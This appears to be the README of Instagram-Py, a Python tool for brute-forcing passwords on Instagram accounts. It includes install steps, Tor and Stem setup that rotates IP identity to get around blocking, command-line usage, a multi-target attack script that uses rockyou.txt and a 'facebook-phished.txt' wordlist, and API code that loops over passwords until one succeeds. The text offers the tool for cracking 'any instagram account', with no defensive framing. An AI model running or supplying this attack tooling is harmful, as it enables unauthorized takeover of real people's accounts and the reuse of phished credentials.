💼 The Official Instagram-Py repo. A professional tool to 🎱 brute force instagram 📸 accounts with less resource 🎁 as possible , Written in Python 🐍 and made with ❤️ -- Antony Jr.
Instagram-Py Scripting
Craft your own python script which will embed into Instagram-Py for Maximum Customization of your brute force attack , example: What if you want a message sent to your phone when an account is hacked?
Resumes Attacks when the same wordlist is used on the same Username
Dumps successfully cracked accounts.
Maximum Customization! ( This includes multiple attack vectors! )
Fast and Clean Code , no ugly selenum drivers! ( Pure Requests )
Elegant Tor Identity Change with Stem ( Tor's Official Library for Python )
Depends on: python3 , tor , requests , requests[socks] , stem
$ sudo pip3 install instagram-py --upgrade
Make sure you have got the latest version of pip(>= 9.0 and python(>= 3.6)
$ sudo easy_install3 -U pip # you have to install python3-setuptools , update pip $ sudo pip3 install requests --upgrade $ sudo pip3 install requests[socks] $ sudo pip3 install stem $ sudo pip3 install instagram-py $ instagram-py # installed successfully $ # Configuration is Super Important so Lets Create One $ instagram-py --create-configuration # follow the steps...
As of v2.0.0 Configuration is Simply done by Passing an Argument to Instagram-Py
$ instagram-py --create-configuration $ # OR $ instagram-py -cc
Or if you just want the default settings without the annoying questions then
$ instagram-py --create-configuration --default-configuration $ # OR $ instagram-py -cc -dc
open your tor configuration file usually located at /etc/tor/torrc
$ sudo vim /etc/tor/torrc # open it with your text editor
search for the file for this specific section
## The port on which Tor will listen for local connections from Tor ## controller applications, as documented in control-spec.txt. #ControlPort 9051
uncomment 'ControlPort' by deleting the # before 'ControlPort' , now save the file and restart your tor server
now you are ready to crack any instagram account , make sure your tor configuration matched ~/instapy-config.json
Finally , now you can use instagram-py!
Instagram-Py Scripting lets you run Custom Python Scripts Inside Instagram-Py!
Never Run Instagram-Py with Multiple Instance! , Use Instagram-Py Scripting Instead!
$ instagram-py -u your_account_username -pl path_to_password_list
Note: Without the -c optional argument , instagram-py will not continue the attack
usage: instagram-py [-h] [--username USERNAME] [--password-list PASSWORD_LIST] [--script SCRIPT] [--inspect-username INSPECT_USERNAME] [--create-configuration] [--default-configuration] [--countinue] [--verbose] optional arguments: -h, --help show this help message and exit --username USERNAME, -u USERNAME username for Instagram account --password-list PASSWORD_LIST, -pl PASSWORD_LIST password list file to try with the given username. --script SCRIPT, -s SCRIPT Instagram-Py Attack Script. --inspect-username INSPECT_USERNAME, -i INSPECT_USERNAME Username to inspect in the instagram-py dump. --create-configuration, -cc Create a Configuration file for Instagram-Py with ease. --default-configuration, -dc noconfirm for Instagram-Py Configuration Creator! --countinue, -c Countinue the previous attack if found. --verbose, -v Activate Verbose mode. ( Verbose level ) example: instagram-py -c -vvv -u instatestgod__ -pl rockyou.txt Report bug, suggestions and new features at https://github.com/antony-jr/instagram-py
Instagram-Py now lets you run your custom scripts inside of it for maximum customization of your attacks. This Scripts are simple Python Scripts ( You Can just do anything that is possible with python )
Witness the power of Instagram-Py Scripting
#!/usr/bin/instagram-py -s # Only Supports Python 3 import os def hacked_an_account(username , password): # Use Twilio API to Make a Message to our phone MayBe? print("Account Cracked!") return True print("Initiating Multi Username Attack Script...") global_callback = hacked_an_account global_password_list = "{}/.exploits/facebook-phished.txt".format(os.path.expanduser('~')) usernames = [ # Reserved Variable { "id" : "instatestgod__", "password_list" : "/home/antonyjr/Developer/.exploits/rockyou.txt" , # full path "countinue" : True, # Optional "verbose" : 0 # Optional }, # If you want to simultaniously attack the same account with different wordlist # Apparently Saving does not work here if two wordlist are used on a single user! # could be later fixed anyways... { "id" : "instatestgod__", # global password list will cover us if password list is not mentioned! "countinue" : False, # Optional "verbose" : 3 # Optional } # , # { # "id" : "even_more_users", # "password_list" : "different_passwords.lst", # } ]
You Can Always View the Cracked Passwords Using this command!
$ instagram-py -i instatestgod__ $ # Displays record if it is cracked in the past!
Instagram-Py supports to be used as a module as of v1.3.2 , so you don't want to reproduce my code. Just use it!
For some reason you wish not to use my software then you can use my software as a module and embed into your own software , anyway its native so its just gonna run the same as the official command-line tool unless you do something crazy.
Follow the same installation method mentioned above to install Instagram-Py API.
This is a simple script to conduct a bructe force attack using instagram-py as a API.
#!/usr/bin/env python3 ''' This is the same thing that is in the __init__ file of the command-line tool. ''' from InstagramPy.InstagramPyCLI import InstagramPyCLI from InstagramPy.InstagramPySession import InstagramPySession , DEFAULT_PATH from InstagramPy.InstagramPyInstance import InstagramPyInstance from datetime import datetime username = "TARGET ACCOUNT USERNAME" password = "PASSWORD LIST PATH" appInfo = { "version" : "0.0.1", "name" : "Instagram-Py Clone", "description" : "Some Module to crack instagram!", "author" : "YourName", "company" : "YourCompany", "year" : "2017", "example" : "" } cli = InstagramPyCLI(appinfo = appInfo , started = datetime.now() , verbose_level = 3) ''' # USE THIS IF YOU WANT cli.PrintHeader() cli.PrintDatetime() ''' session = InstagramPySession(username , password , DEFAULT_PATH , DEFAULT_PATH , cli) session.ReadSaveFile(True) # True to countinue attack if found save file. ''' # USE THIS IF YOU WANT cli.PrintMagicCookie(session.magic_cookie) ''' ''' Defining @param cli = None will make Instagram-Py run silently so you can you use your own interface if you like. or if you want to use the official interface then declare like this instagrampy = InstagramPyInstance(cli = cli , session = session) ''' instagrampy = InstagramPyInstance(cli = None ,session = session) while not instagrampy.PasswordFound(): print('Trying... '+session.CurrentPassword()) instagrampy.TryPassword() if instagrampy.PasswordFound(): print('Password Found: '+session.CurrentPassword()) exit(0)
If you think that this project is cool then you can give it a ⭐ or 🍴 it if you want to improve it with me. I really ❤️ stars though!
If you want to do something that stands out then you can click the donate button at the top to make a monthly donation , So I will make sure that I stay healthy and keep on to do my work. 💼 Supporting me means supporting all of my projects , So you are like Tony Stark ❤️ who backs Spider-Man! Thank you for your extra care! 🐶
You can also tweet about me on twitter , get connected with me here -> https://twitter.com/antonyjr0
Thank You! 😺
The MIT License,
Copyright (C) 2018 The Future Shell , Antony Jr.